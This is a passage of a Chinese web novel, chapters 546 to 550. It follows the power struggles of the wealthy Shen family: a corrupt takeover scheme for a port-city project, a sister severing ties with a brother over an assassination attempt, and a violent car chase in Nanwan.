马温在渡口指挥封船,听见声响的同时刚抬头就看见一道黑影从眼前闪过。 南湾市内交通限速40,跑车的速度起码飚到了180,沿途这么多警车,车里的人还敢这么嚣张,看来是来头不小。 “长官,市内禁止飙车,刚刚那个人严重超速了,需不需要我们……” 马温笑了笑,眼里带着几分犀利,“怎么?警署厅不想待了,想去交通局?” 小警员立马噤声,不敢再说话。 这时,马温口袋里的手机响了,他掏出手机看了一眼,接通电话的瞬间脸上扬起老道的笑,“哟,朱总,怎么有空给我打电话?” 电话里的男人极为客套,“马署长,听说小女现在在您的警车上?” 马温立马摆出一副十分为难的腔调,“哎呀,说起这事老朱你可真是……你也别怪我没给你面子,你闺女有眼不识泰山惹了贵人,我也爱莫能助啊~我劝你也别折腾,贵人事忙,说不定过几天就忘了。” “马署长您误会了,警署厅一向执法严明,我身为南湾市民自当积极配合,阿妮的性子的确是需要磨磨,不然安家的安家迟早被她败光,我打电话来是有另一件想请马署长您帮忙。” “朱总大义灭亲令人钦佩,警民一家亲,只要是奉公守法的正道事我们警署厅向来是能帮则帮。” 朱世雄暗骂了一句老狐狸,面上却已经和气,“是关于那位贵人的……” * 第546章 海城计划 道歉? 像他们这样的人无事不登三宝殿,连夜找过来不过是嗅到了味儿。 “叮——” 恰好这时,电梯门打开,莫然走了出来。 朱世雄见状,立马笑着寒暄,“莫助理,好久不见。” 莫然淡淡颔首,她并不意外朱世雄的出现,快步走到沈归灵身旁,低声解释,“除了先生的人,南湾应该没有人知道您在这。” 沈归灵思忖片刻,转头看向姜花衫,没等他开口,姜花衫推着他的胳膊催促道,“人家都来道歉了,你怎么也不知道请人家进屋坐?” “……” 朱世雄万万没想到沈归灵身边的女生竟会帮着自己说话,故作受宠若惊,“小女冲撞了小姐,我特意带了些小礼物,还希望小姐不要嫌弃。” 姜花衫摆摆手,“客气了,一瓶酒两百万,这种冲撞多来两次也无妨。” 朱世雄猜不透姜花衫的身份,不敢随意接话呵呵笑了笑。 沈归灵拉着姜花衫的手,开了门推着她的肩膀往里送,“刚刚不是还说累了吗?你先回房休息,我和朱总谈点事。” “别拉拉扯扯。”姜花衫不耐打下他的手,歪头往门口看了看,意味深长摇了摇头转身跑进房间。 沈归灵无奈笑了笑,侧身时脸上的笑容顷刻消失,“朱总,请进。” 朱世雄谦卑点头,提着大包小包进屋。 莫然紧随其后,经过门厅时温声提醒,“朱总,东西放着就行了。” “欸,有劳莫助理了。” 朱世雄在南湾也算呼风唤雨的大人物,从他发迹之后哪还做过给人拎东西的事?今天把姿态放得这么低,所求之事必然不小。 沈归灵神色不显,指着对面的沙发,“朱总,坐。” 朱世雄提着公文包,笑呵呵入座,“少爷什么时候来的南湾?怎么也不通知我们一声,要不是先生提点,差点就怠慢了少爷。” 今晚封船动静太大,朱世雄担心是沈谦对他不满特意打电话请教,于是沈谦把人引荐了过来,并告诉朱世雄,以后南湾所有事宜由沈归灵代执。 这可把朱世雄吓坏了,能让沈谦说出这种话,这位沈少爷前途不可限量,生怕错过了世子之争的最好时机,朱世雄赶紧带着各种‘诚意’来认主子。 莫然在水吧准备茶饮,闻言眸底闪过一丝戏谑。 老狐狸就是狐狸,之前还是沈少爷,现在就变成了少爷,一字之差关系亲疏可是天差地别。 这个时候故意提及沈谦无非是想告诉沈归灵,沈谦对他十分倚重,想在新主这边谋个好差位。 只不过,朱世雄到底还是低估了沈归灵,他以为是受沈谦指点找上的门,殊不知,从他带着‘诚意’登门那一刻,就已经走进了沈归灵提前策划好的剧本里。 莫然端着茶具上前,半蹲在茶几前摆茶,“少爷,喝茶。” 朱世雄不动声色观察,早在莫然跟着姚歌的时候两人就已经打过交道,在他的印象中,这位莫助理心思细腻手段了得,这样的人辗转在沈家权贵中最后选择了一个私生子,足见沈归灵有多厉害。 念此,他不再纠结,从公文包里拿出拿出一沓文件。 “少爷,请过目。” 沈归灵接过文件,随意瞥了一眼,神色淡淡。 怎么是这种反应? 朱世雄以为沈归灵没看出文件的‘厉害’,立马解释,“少爷,这份南湾海港城的企划只要一启动,就会成为第二个小鲸港,到时候南湾经济将会发生翻天覆地的变化。” “我已经让投资部都策划好了,到时候我将成立朱氏集团全面把控这次的港城兴建,这是之前说好的诚意。” 朱世雄指着原始股20%的合约条款,笑得意味深长,“原本先生已经推辞,但我朱世雄能有今天都是靠着先生庇护,做人不能忘本,我知道,这点蝇头小利先生未必看在眼里,但我们该孝敬的还是得孝敬。” 空挂个股东名义就拿走一座城建百分之二十的利润,这诚意已经算是顶天了。 但沈归灵依旧没什么情绪,朱世雄心里不免打起了鼓,“少爷您是不是还有哪里不满意?” 沈归灵,“城建工作难度不小,所需要的资金更是不可估计,就算父亲同意批下了这个项目,以政府现在的财政拨款,你们顶多能拿到城建的百分之七十,另外百分之三十你如何确保?” 朱世雄原本还担心沈归灵不感兴趣,结果发现他只是担心资金不免松了口气。 “这个少爷您不用担心,下周安氏股东大会,我会以执行董事的身份召开股东会议,宣告安氏将以资金入股的方式参与此处城建投资。” “企划书我也已经做好了,我会把投建所需的资金上调百分之百,如此在项目落地初期第一笔投资款,我们就能拿到百分之五十以上的资金。” “后期我会陆续调整投资比例,收购安氏船业股份,等到安氏无法按合同履行投资义务再把安氏踢出局。” 沈归灵挑眉,好一招过河拆桥,如此安氏就成了一个空壳,朱氏商业帝国一朝成业。 说了这么多,朱世雄还是看不透沈归灵的态度,略带试探反问,“少爷您觉得呢?” 沈归灵将合同扔回桌面,端起茶盏风轻云淡,“想法是很好,但据我所知,安氏集团你只有百分之三的股份,另外百分之二十六你只有代执行权,真正的继承者是安家大小姐,安氏变朱氏,只怕她不会同意吧?” 朱世雄脸色微变,笑着缓和,“商道诡诈,她一个女孩子哪里懂?我对她的期待也不高,好好嫁人在家相夫教子再好不过。” “嫁人?”沈归灵垂眸,抿了一口茶,态度随意,“看来是我想岔了,我还以为朱总不想大小姐早日婚嫁,毕竟先夫人的遗嘱上可是写的明明白白,安小姐若得赘婿完婚,将合法继承安氏股权,到时候你这个执行董事只怕要拱手让贤了。” 这话算是说到关键点了。 朱世雄眼看沈归灵不好糊弄,索性开门见山,“下周一的董事会还有三天,若安家没有人保释,阿妮这一个月都出不来。一个月的时间足够我将把控全局。只不过,安氏还有几个老东西烦人得很,难保他们不会在背后搞鬼,所以我想请少爷跟警署厅那边打声招呼。” “少爷放心,海港城的计划我保证完成地漂漂亮亮,让先生在政坛名声大噪。” 沈归灵,“朱总有心了。” 朱世雄连忙站起身,“少爷言重了,那……您的意思是?” “打个招呼而已,举手之劳。” 朱世雄脸上转喜,有沈家支持,他这家产之争赢定了。 “那,合同?” 沈归灵,“留着吧,我再考虑考虑。” “是。”虽然沈归灵这么回话,但朱世雄已经自动转换为,“我先矜持一下,过两天就签。” 他笑得合不拢嘴,正想再寒暄寒暄,沈归灵再次开口,“时候不早了,莫助理,替我送送朱总。” 朱世雄立马收声,作出一副诚惶诚恐的样子,“不用不用,我自己走就可以了。” 莫然充耳不闻,“朱总请。” 朱世雄看了沈归灵一眼,躬身点头,“那就麻烦莫助理了。” 两人一前一后出了客厅,直到门外传来落锁的声音,沈归灵靠着沙发,回头看向过道,“出来吧。” …… 第547章 以你的原则为界 明媚的暖白光影下闪过一团黑影。 沈归灵刚一抬眸,祸坨子就立在眼前,手里还拿着朱世雄的合同。 “这个狗东西,吃了软饭还想吃绝户,吃相这么难看,就这种人还是优秀企业家代表?南湾的水也太脏了!” 姜花衫一脸鄙夷,冷着脸把合同甩在沈归灵怀里,“你要跟他签?” 上一世,他们口中的海港城顺利落成了,成为了鲸港特级行政自治区,其中最具盛名的就是海城朱氏集团,而沈谦也因此在政坛上添上了浓烈的一笔,直到沈归灵强势回归,二房才有了和沈兰晞分庭抗礼的底气。 沈归灵一时没反应过来,生怕姜花衫气上头把他分都扣完了,抱着合同温声解释,“我刚刚说的是再考虑。” 他对道德的边界感并不像姜花衫这么强,在他看来弱肉强食是生存法则。 怀璧其罪,安氏集团就好比一块绝世宝玉,就算没有他,以安佳妮的性子一样护不住她母亲留下的遗产,反正结果都那样,还不如成为他的棋子。 姜花衫,“考虑什么?沈家的荣耀如果还需要靠欺负一个弱女才能延续,这样的荣耀不要也罢?你忘记爷爷怎么教我们的了?权利一旦向下输出,荣耀必将被踩在脚下。” 沈归灵沉默片刻,轻叹了一声,将手里的合同撕成了两半。 姜花衫愣了愣,“你怎么把合同撕了?” 她之所以生气,除了看不惯他们仗势欺人吃绝户之外,更重要的是她知道海城计划落成后对沈家分裂会有影响,所以她才想阻止沈归灵和朱世雄合作。 原本以为要花点功夫,没想到三两下就解决了。 沈归灵一本正经,“因为我考虑好了,不合作。” “……”姜花衫眼神微闪,表情颇有些一言难尽,“真的?” “嗯。真的。” 他是没有边界感,但奈何喜欢了一个有边界感的人,棋子而已,没有了再找就是,要因此被扣分就划不来了。 沈归灵的模样不似作假,倒显得她反应太大了。 姜花衫表情讪讪,“那……没什么事就休息吧,一天天的,跟个陀螺一样。” 沈归灵并未拆穿她,“我以为你不喜欢那个安家小姐。” 姜花衫脚步顿住,侧头看着沈归灵,“我是对她没什么好印象,但一码归一码。” 果然很有原则。 沈归灵笑了笑,“知道了。” 姜花衫觉得莫名其妙,正要转身忽然想到什么,表情微妙,“你刚刚说,那个安家大小姐要结了婚才能继承她母亲留给她的安氏股份?” 沈归灵点头,“未免安氏没落,安佳妮的母亲要求男方必须入赘。” 姜花衫若有所思,摆摆手转身往过道走去。 沈归灵转眸,目光重新落回被撕毁的合同上。 这时,门外传来开门的声音,没过一会儿,莫然走了进来,正要开口忽然看见垃圾桶的合同,脸色微变,“少爷,您这是?” 沈归灵,“海城计划不错,再换个人试试。” 莫然有些为难,“可是先生那边……” “父亲那边我会解决。”他缓缓抬眸,眸底敛着幽光,“楼下那两个人是怎么回事?” 莫然神情微凛,她也是刚刚送朱世雄出去才注意到角落有辆价值不菲的鲸牌跑车。 “少爷放心,我已经安排好人了,这里是南湾,就算他姓周也别想挨近姜小姐十米之内。” 沈归灵,“周宴珩看见你送朱世雄了?” 莫然微愣,这才反应过来为什么沈归灵特意要她送行,原来是做给楼下两个人看的。 她点头,“他们一直在车库,应该是看见了。” 沈归灵嗯了一声,“今天辛苦了,回去休息吧。” 牛马人的一天终于结束了,莫然长舒了一口气,正要转身又被沈归灵叫住。 “明天你去警署厅一趟,告诉马温,过了星期天就把安佳妮放了。” 这就放人了? 那个安家大小姐在姜小姐面前勾搭少爷,原以为少爷会严惩,怎么关两天就放出来了? 等了一会儿,不见沈归灵解释,莫然便知是私事,立马点头应道,“是。” * 停车场。 车里的气氛格外凝重。 关鹤时不时瞟向周宴珩,“我们要在这守到什么时候啊?” 天杀的!沈归灵、姜花衫,随便哪一个,你们倒是把一个先下来啊,大晚上的还不回家算是怎么回事啊?! 周宴珩低头看手机,完全没有搭理的意思。 又过了一会儿,门厅走出一个人。 关鹤大喜,“来了来了!是沈归灵的助力,沈归灵要走了……” 不对!是只有沈归灵的助理!没有沈归灵! 眼见莫然独自一人开车扬长而去,关鹤默默看着逼近凌晨的指针,“草!真同居了?” 周宴珩指尖一顿,眼底瞬间掀翻暗涌。 * 另一边。 沈兰晞斜靠在罗汉床上,一手支颐看着窗外的月亮,一手无意识敲击着手机屏幕。 忽然,屏幕亮了。 他漫不经心转眸,恰巧界面弹出一条消息。 -【对方接受了您的好友请求。】 -【关你peaCe:你是谁?沈兰晞的手机也敢偷,不要命了?!】 沈兰晞眉眼微弯,神色如冰雪初融。 -【我是沈兰晞。】 …… 第548章 三房之争 等了一会儿,那边又没了消息。 沈兰晞的心一下就提了起来。 她该不会把他当成骗子给删了吧? 正当沈兰晞犹豫要不要做解释时,界面弹出一条消息。 -【关你peaCe:我不信,V我五百万看看实力。】 看实力? 沈兰晞眉头微蹙,五百万能看什么实力? 南湾。 “嗤。什么年代了,真以为骗人不要成本?” 姜花衫把手机扔向一边,迎面扑进香香软软的枕头里,今天这一天真是太漫长了,她都要凋谢了。 “叮咚——” 突然,枕在胳膊上的手机响了一下。 姜花衫登时抬头,手脚麻利拿起手机,银行短信到账的声音不管怎么听都是如此悦耳。 -【账户3333于20XX-XX-XX收到汇款500,0000.00元】 “一二三四五六七八……” 这么多零,还真给她打了五百万? 姜花衫啧啧称奇,今天是怎么回事,怎么大家都争着给她钱? 另一边,沈兰晞汇完款后一直盯着屏幕不动,直到看见对方正在输入的提醒才终于松了口气。 等了好一会儿,对方只有输入没有消息,沈兰晞犹豫片刻,发了一句晚安,霎时,‘对方正在输入’的提醒消失了。 高止趴在窗台看了好一会儿,终是没忍住,从窗外伸出一只手拍了拍沈兰晞的肩膀,“少爷,加个小爱心。” 沈兰晞面无表情翻过手机,抬眸的瞬间,刚融化的细绢顷刻变成了冰山上的雾凇,“你趴在这做什么?” “……”高止默默收回手,扣了扣脸,强行挽尊,“我来当然是有正经事,谁像您一样,一天天的不务正业。” 沈兰晞淡淡看着他。 本来就是,高止翻了个白眼取下墨镜,一脸正色,“不开玩笑,少爷我真有正事。” 沈兰晞懒得跟他计较,回身靠着罗汉床,“沈澈那边有动静了?” 高止跳下窗台,从玻璃门后钻进书房,“刚收到消息,菊园那四个管事在押去襄英的路上全都被灭口了。” 沈兰晞皱眉,“查到谁做了的?” 高止摇头,“现场都被烧干净了,短时间不好查。” 沈兰晞低眸想了想,摆手,“不用查了。” 二房和三房谁都不服谁,既然跟沈执合谋的是沈澈,那帮着杀人灭口的就是三房的人。 但有一点很奇怪。 在家族会议中,爷爷已经表明了肃清内鬼的态度,沈澈是个聪明人,他应该知道就算没有菊园四个阿姨,他的身份最终还是藏不住,这个时候应该想办法获取爷爷原谅,而不是冒着风险继续杀人。 若是沈澈只是联合沈执暗杀姜花衫未遂,以爷爷的性格最多是将他驱逐出境,但罪不至死。 聪明人为什么会选择要继续杀人,一定是杀人的价值远远大于被冒的风险。 所以,沈澈身上一定还有秘密,这个秘密或许会让老爷子大义灭亲。 蓦地,沈兰晞想到什么,眸底闪过一抹暗色。 沈园这么多人,沈澈和沈执为什么偏偏执着于杀姜花衫呢? “少爷,您是不是想到什么?” 沈兰晞摇头,这里面的线太乱了一时理不清,他翻过手机,点亮屏幕,盯着姜花衫的头像陷入了沉思。 * 鲸角山顶别墅。 一辆红色跑车从山道疾驰而上,到了山顶,一群黑衣保镖立马迎了出来。 沈娇推门而下,摘下墨镜,“你们五爷呢?” “在里面。” 沈娇面无表情戴上墨镜,大步往别墅区走去。 “怎么来也不打声招呼?我好让人去接你?”早在沈娇从山道上来沈让就得了消息,特意坐在主厅等她。 “提前招呼是方便来接我?还是方便你们怎么警惕我啊?” 沈娇皮笑肉不笑,见沈让笑容凝固更是没有好脸色,目不斜视从他面前越过。 沈让皱眉,转身跟上,“阿娇,你这是怎么了?吃火药了?” 沈娇翘着二郎腿入座,低睨的目光四处打量,“另一个呢?怎么?知道我来了就不敢露面了?” 沈让看了她一眼,有些为难抓了抓头,“什么另一个?你来我这捉脏呢?” “还嘴硬?”沈娇从包里拿出一沓文件对着沈让的肚子砸了过去,“一年两百亿,你下手够黑的。” 白纸如雪花散落一地,沈让随便捡起一张看了一眼,表情晦涩,“阿娇,你先冷静一下。” “你还让我冷静?”沈娇摘下墨镜对着沈让脚下砸了过去,“连你都出卖我,你让我怎么冷静?” “不过区区两百亿,就为了这点钱值得你跟阿让大吼大叫?你别忘了,这是母亲的资产,不是你沈娇的。” 话音刚落,丝绒窗帘后走出一道身影,那人轮廓深邃,眼眸如琥珀,三房几个孩子,唯有沈澈的长相最像李夫人。 “老四!”沈让脸色微变,“你怎么出来了?不是让你先藏着吗?” 沈澈冷笑了一声,大步走进主厅,“藏?人家冲着我来的,我还能藏到哪里去?” 沈娇的目光在沈让和沈澈之间来回审视,“你们总算把心里话说出来了?这么多年,你们对于母亲临终前的分配始终有怨。” 沈澈,“我不是对母亲有怨,而是根本不相信那份遗嘱的真实性。” 当年李夫人携千亿嫁妆嫁给沈庄,最后因一生未得所爱郁郁而终。 彼时沈娇年岁尚幼,李夫人自知时日不多,唯恐身死之后几个孩子会受委屈,特意立下遗嘱,李家随嫁过来的暗卫、实业资产皆由两个儿子继承,至于名下珠宝、现金、银行金条全部留给小女儿。 因为资产颇丰,李夫人怕孩子们长大因钱财伤了和气,特意将遗嘱交给了沈庄,请他代为监督。 沈澈,“母亲是被父亲困死院子中,她怎么可能还会把遗嘱那么重要的东西交给父亲?” 沈娇,“那只是你一厢情愿的想法,父亲的确有负母亲,但父亲有他的品格,除去丈夫的身份,他哪一点不值得人敬重,母亲临终托孤托的不是她的丈夫,而是我们的父亲。” “你当然这么说。”沈澈想来好笑,一脸鄙夷,“母亲千亿身价你一个人就拿了七成,你当然是说父亲的好。” 沈娇知道解释不清,转头看向沈让,“五哥,你也是这么想的?” 沈让摇头,向来和气的脸上冷戾肃穆,“都别说了,自家兄弟姐妹,为几个钱财伤了和气不值得。四哥,阿娇年纪小,母亲偏爱她一点也无可厚非,你要真闹生份了,可就辜负了母亲的一片苦心。” “苦心?”沈澈捧腹失笑,“你们真是天真。那可是千亿资产,不是几个碎银子,父亲若真看不上,当初又何必与李家联姻?他逼死母亲不就是为了侵吞母亲的嫁妆吗?” “事实上他也做到了,他将李家暗卫并入暗堂,美其名曰是阻止李家本族调回暗卫,实则根本是把李家人变成沈家人。他故意把所有现金交给阿娇打理,不过是看在阿娇当时年幼好操控,阿娇投资给暗堂的钱说是为了壮大李家暗卫,但这么多年过去了,那些暗卫姓什么他们只怕自己都忘记了。” 沈娇皱眉,“沈澈,你是不是疯了?” 沈澈面露嘲讽,“到底是我疯了?还是你们不敢认?!” 眼看气氛僵滞不下,沈让立马上前拦在两人之间,“行了,都冷静下,别说了!” 沈娇眼里容不下沙子,站起身一把推开沈让,点着沈澈的肩膀,“就算遗嘱不公,就算父亲负了母亲,但这也不是你联合沈执暗杀衫衫的理由!” 沈澈眼睑微动,沈让一脸震惊,措不及防看着沈娇。 “怎么?很惊讶?是觉得你们做得天衣无缝?还是觉得我会像个傻子一直受你们蒙蔽?” 沈让见沈娇情绪有些失控,连忙上前安抚,“阿娇,你冷静。” “你让我怎么冷静!”沈娇反手一把推开沈让,向来高傲的眼睛隐约泛着水光,“五哥,如果我现在拿了把枪指着枝枝,你还能冷静吗?” 沈让无言以对,转头避开她的目光。 沈澈皱眉,声音冷凝,“姜花衫不过是老爷子一时兴起领养的孤女,她和绥尔根本不是一回事,你就为了一个没血缘关系的外人与我生分?” “外人?”沈娇原本还心痛于长大后情分面目全非,但当沈澈说出这句话时,她就知道自己的心软完全是个笑话。 她抬眸,十分干脆甩掉眼角的残留,语调轻慢,“沈澈,你别搞错了,对我来说你才是那个外人。” 沈澈脸色微变,“阿娇,你什么意思?” 沈娇往后退了一步,目光在两个哥哥之间游离,李夫人走得早,沈澈和沈让几乎陪伴了她整个孩童时期,说没有感情是骗人的。 但现在这段感情已经变了质,她必须要划清界限。 沈娇低头看着地上纷乱的文档,挣扎片刻终于下定决定。 “从今天起,我不再投资你名下任何产业。另外,之前我投的所有项目全部终止合作,我会成立清算小组将我们之间所有的资产一次清算干净。” 沈澈皱眉,脸色阴沉,“你凭什么这么做?当初若不是我和阿让自动退出,你能有今天……” “就凭你敢杀我的孩子!”沈娇不等他说完,直接霸气回怼,“沈澈,你搞清楚,母亲遗嘱的监督者是父亲,你真以为我蠢?你们不是自动退出,是不得不自动退出!” “若是我之前对母亲的遗嘱还有疑问,但看到现在的你,我的疑虑彻底消失了。原来人长大以后都是会变的,母亲比任何人都看得长远,所以才会把遗嘱交给父亲。” 沈澈双手微微颤抖,咬着牙关,“你真要做的这么绝?” 沈娇如果突然撤资,他的资金将全线崩盘,一旦资金缺口出现问题,老爷子必然会发现猫腻,到时候他私自种植毒品的事情一定瞒不住。 谁能想到,光鲜亮丽的沈家四先生竟然是地下暗网最大的毒枭,他的生意链遍布全球,所涉及的金额不知道已经超过李夫人遗产多少倍? 沈娇迎着沈澈的目光,没有丝毫畏惧,“四哥,你不该动我的孩子,她们是我的底线。” 沈澈闭眼,“那是沈执……” “没有用了。”沈娇打断他,转身从包里抽出两张纸,“来而不往非礼也,我也给四哥准备了两个小惊喜。” 沈澈霍然抬眸,他深知沈娇的刁蛮,也见识过她不留情面整治别人时的狠厉,心知所谓的惊喜一定不是好事。 沈娇笑了笑,“半个月前,我以个人名义向国岛科研投资了五个亿,并提出希望他们能带着设备和人员亲自来矿区参与提纯实验。 很不幸,现在岛上发生了矿难,所有人员都被困在矿区,好像亦泽也在里面。” 沈澈、沈让脸色大变,沈澈终于按捺不住,一把揪住沈娇的衣襟,“你是不是疯了?” “老四!”沈让赶紧上前把人拉开,表情凝重,“阿娇,这事可不是闹着玩的?一码归一码,老爷子要知道了,你一样吃不了兜着走。” “来啊!我怕什么?老爷子就是杀了我!我也要先把你家那两个兔崽子先宰了!哦,忘了说了,还有亦杰,我花钱买通了他的战友和长官,出任务时他被人双双背叛现在也落在了我的手里。” 沈让满是震惊,难以置信看着沈娇。 小时候他们三人不管做什么都一起,惹了事怕父亲责怪便会轮流替沈娇受罚,但眼前的人如此陌生,丝毫没有幼年的影子。 沈娇迎上沈让的目光,“你不用这么看着我,反正都已经撕破脸了,就干脆连最后的情面都断掉吧。” “我是个肤浅的母亲,丈夫和孩子我选了孩子,兄弟和孩子我还是会选择孩子,甚至家族和孩子之间我依旧只会选择我的孩子。沈澈,你千不该万不该对我的孩子出手。” 沈澈看出了沈娇不死不休的疯劲,“你到底想做什么?” 沈娇,“我想杀了你,但又不想脏了我的手,所以你和你的孩子,做个选择。” …… 第549章 我不欠你们什么 这话一出,沈澈和沈让脸色顿时僵硬,沈澈更深,背脊发凉一脸难以置信。 “你说什么?你要杀我?” 反应过来后,沈澈眼角抽动带着几分歇斯底里的疯感用身体撞向沈娇,“就算是老爷子也不至于如此,你凭什么?!” “老四!”沈让深怕沈澈丧失理智真伤了沈娇,狠狠抱着他,“你有话好好说,别动手。” 沈澈反手一把推开沈让,眼里猩红,“她要弄死我!她要弄死我!” 沈让头皮发麻,用身体挡在沈娇面前,“阿娇,万幸衫衫现在还好好的,这件事以后绝不会发生,你能不能……” “不能。”沈娇挑着眼梢,看上去不近人情。 沈澈眼底闪过一丝恨意,死死看着沈娇,“你当真不顾往日情分要把我往死路上逼?当初要不是我,你早就溺死在水池里了,你要跟我清算?行!你是不是应该还我一条命?!” 沈让满脸无奈,急得团团转,“老四,你说这个做什么?” 沈娇低笑了一声,摇着头迎上他的目光,“那条命我早就还了。当初你跟沈谦争仕途之路,为了通过父亲的考验强占居民安置房,逼得西港十万居民在严冬无家可归,是我花钱买下了民怨并担下了所有骂名,但是你别忘了,我也是军政大学的学生,若没有那次,我的人生绝不仅限于此。” 天知道,当她看见自己的女儿重新站上政坛那刻她有多么触动,那仿佛是另一个时空的自己。 “后来,你输给了沈谦因此被二房抓住把柄,退而其次选择了经商,但母亲留下的资产你嫌不体面你想转正,于是你盯上了傅家。傅嘉明是你介绍给我的,我们在一起没多久你就让我结婚,你说他是值得托付的良人,傅家能成为你的助力,百利而无一害。” “但事实是什么?傅家是龙潭虎穴,傅嘉明是败类中的败类,这段婚姻于我只有百害而无一利。但纵是这样,我还是忍了十三年,就因为你们说,二房有萧家做连襟,傅家再不堪也能制衡萧家。” 沈让自认对不住沈娇,声音哽咽,“阿娇,别说了。” “为什么不说?你们不是要算吗?那就算清楚。”沈娇闭了闭眼,将含在眼里的泪逼了回去,“若是我一个人,我也就忍了,但傅嘉明竟然在外面有个野种,这是要把置我的绥尔于何地?” “当初我为了绥尔可以与傅家决裂,今天一样可以为了衫衫与你们割席,因为我是一个母亲,孩子是我最后的底线。为了那条命,我舍弃了少年时的梦想和女人最宝贵的婚姻,所以,四哥,我不欠你什么了?” 沈澈无言以对,眼底的眸光变幻莫测。 沈娇往后退了一步,大有划清界限的意思,“我给你三天的时间考虑,如果时间到了你还是下不了决定,我就替你做决定。” 说完,回身拎起自己的钻石包转头出了客厅。 沈让和沈澈站在原地,过了许久都没有人说话。 窗的树影沙沙作响,空气仿佛被凝固了一般。 这场争吵没有赢家,沈让心力交瘁,刚准备开口,沈澈抢先一步。 “阿让,你也觉得我错了吗?” 沈让一时不知道该怎么评价,母亲走后,二房势力渐长,原本还有个沈玺制衡,但沈玺出事后,沈家的权柄逐渐往二房倾斜,为了与二房抗衡,沈澈又争又抢,但奈何天赋和气运总差沈谦一截,事事与事愿为,渐渐地便失了初心。 他不是不知道沈澈有错,但母亲临终前曾拉着他们三兄妹的手,盼他们能荣辱与共不离不弃,所以他总想着要是能把沈澈拉回来就好。 沈让轻叹了一声,拍了拍沈澈的肩膀,“这事确实是我们最不住阿娇,老四,收手吧,阿娇的性子你还不知道?她一向嘴硬心软,阿泽和阿杰是她的亲侄子,只要你认个错,她还不至于如此。” 沈澈脸色苍白,“你让我再想想。” 沈让,“老四,你还想什么?现在连阿娇都查到了,沈谦他们一定很快就会找上门,与其变成二房落井下石的踏板,你不如主动去父亲面前认错。” 沈澈摇头,眸光沉静地可怕,“不!我没错!我今天的所作所为都是老爷子逼的,我们母亲才是沈家名正言顺的沈二夫人,二房不过是个情人所生的私生子,沈玺死后他的一切应该由我们继承,可老爷子却让我和沈谦、沈渊那两个上不了台面的私生子公平竞争,是他!是他助长了二房的气焰,要不是他,我哪会急功近利侵占安置房,要不是他,我哪会和傅家联手?是他逼我的。” 看着这样的沈澈,沈让心里说不出的失望。 沈澈长他一岁,虽然只有一岁,但他却承担了所有哥哥的职责,当初他因为迷恋沈眠枝的母亲与沈家决裂,只有沈澈一直不离不弃劝他回来,出事后,他意志萧条,也是沈澈一直在身边鼓励他。 他怎么都想不透,当初明明是真心相付的兄弟为什么会走到今天这一步。 两人沉默以对,似乎再也找不到年轻时可以交付后背的那种感觉了。 沈澈缓缓起身,转身向门外走去。 * 另一边,沈娇驾车在半山环路奔驰。 “小姐,您真这么跟大少爷说?”电话那边,冯妈的声音满是酸涩,“夫人要是知道你们走到这一步,不知道该有多伤心。” 沈娇神色淡淡,看不出情绪,“母亲已经不在了,我不能因为一个莫须有的伤心就原谅伤害我孩子的人。” “我理解小姐,可是小姐,万一大少爷三天之后不做选择,您真的要对两位小少爷下手吗?” “谁知道呢?” 沈娇挂了电话,面无表情看着黑蒙蒙的前路。 沈澈的性子她太清楚了,他一定不会舍弃自己,所以她已经把沈澈的所作所为告诉了他的两个孩子,三天后沈亦杰和沈亦泽就会回鲸。 若还有沈澈还有一点良知,他现在就应该去向老爷子坦诚,然后利用老爷子制裁她,但要是他死不悔改,他的儿子便会知道他为了自己舍弃了他们,到时候众叛亲离也是他应得的下场。 这已经是她对沈澈最大的仁慈了。 …… 第550章 宣示主权 南湾。 红色的蛇眼尾灯一路飞驰。 关鹤死死拽着车顶的把手,“阿珩,你冷静点!同……同居而已,很正常啊!” “啊!!!”周宴珩一脚油门到底,关鹤吓出了企鹅音,“不……不正常!我的意思是,他们是兄妹,住在一个屋檐很正常,同居又不代表是同房!!!” 这话抓住了重点,时速表指针极速下转。 关鹤长舒了一口气,该死的姜花衫,从遇见她就没好事,爬个墙都能连累他。 “呜——” 就在这时,反光镜上曝出一道强光,周宴珩眯了眯眼,偏头看向后视镜,同行的车道上,三辆黑色跑车并驾齐驱紧跟在他身后。 关鹤也察觉到了事情不对,回头看了一眼,顿时戾气横生,“草,哪来的一群不要命的?” 周宴珩,“抓紧。” 话落,不等关鹤反应,直接换挡油门到底。 “啊呜!!!” 身后的推背感直逼腺上素,关鹤吓得眸光颤裂与淡定如若的周宴珩形成了鲜明对比。 与此同时,身后的三辆跑车已经了追了上来,紧贴着周宴珩往内道逼近。 周宴珩不慌不忙急打方向盘,踩着油门从两辆黑车中间滑行出道,彼时第三辆车从右后方逼近,对着周宴珩的车尾大灯直接撞了上去。 突如其来的变故给车身造成剧烈震动,周宴珩和关鹤的身体不受控制对着操作台撞去。 “草!”关鹤捂着几乎被压空的胸腔,回头看向始作俑者,“这群狗逼,阿珩,弄死他们!” 周宴珩眸光静地可怕,转换倒挡急踩油门,轮胎摩擦着柏油马路发出剧烈的胎噪,一百八十旋转的瞬间红色的鹰眼闪动流光杀气腾腾。 “阿珩,你要做什么?” 关鹤意识到事情不对劲,吓得舌头打结,“阿珩,你冷静点,回了鲸港我们再报仇也……” “你难道看不出来吗?有人不想我们好好回去。” 话落,周宴珩划动拨片,转变TraCk模式,油门轰动的瞬间仿佛黑夜中的猛兽在嘶吼。 “别别别!阿珩!你冷……” 没等关鹤说完,黑夜之声如离弦之箭向对面的黑车撞去,一声巨响,周宴珩打开驾驶室的车窗玻璃,‘咔嚓’一声,只见一个冒着火苗的银色打火机从车里抛了出来。 关鹤来不及眨眼,火苗一触即发变成了吞天巨蟒。 “啊啊!!” 一道人影从火光里冲了出来,一边撕心裂肺的怒吼一边在地上打滚,另外两辆车的司机被这变故吓得不轻,赶紧上前扑火救人。 “我滴妈。” 关鹤哆嗦着脚从车上滑了下来,刚刚对撞的那一瞬间他差点以为今天就要折在南湾了。 周宴珩绕过车尾看了一眼,双手插兜踢了踢关鹤的屁股,“瞧你这点出息,起来。” 关鹤一脸幽怨,“你他妈吓死老子了,老子差点以为你要跟他们同归于尽。” “同归于尽?”周宴珩挑眸,一脸戏谑看着在火光里挣扎的人影,“一群蝼蚁也配?!” 关鹤闭了闭眼,扶着车门起身,“是是是,不配不配,祖宗走吧。” 周宴珩转身,刚抬脚,周遭突然传来刺耳的警报声,他皱了皱眉,眼眸的瞬间便看见闪着红蓝光束的警车沿着柏油马路排成排。 这个时间,这个地段,警署厅的人倒是来的及时,不知道的还以为是提前埋伏好的。 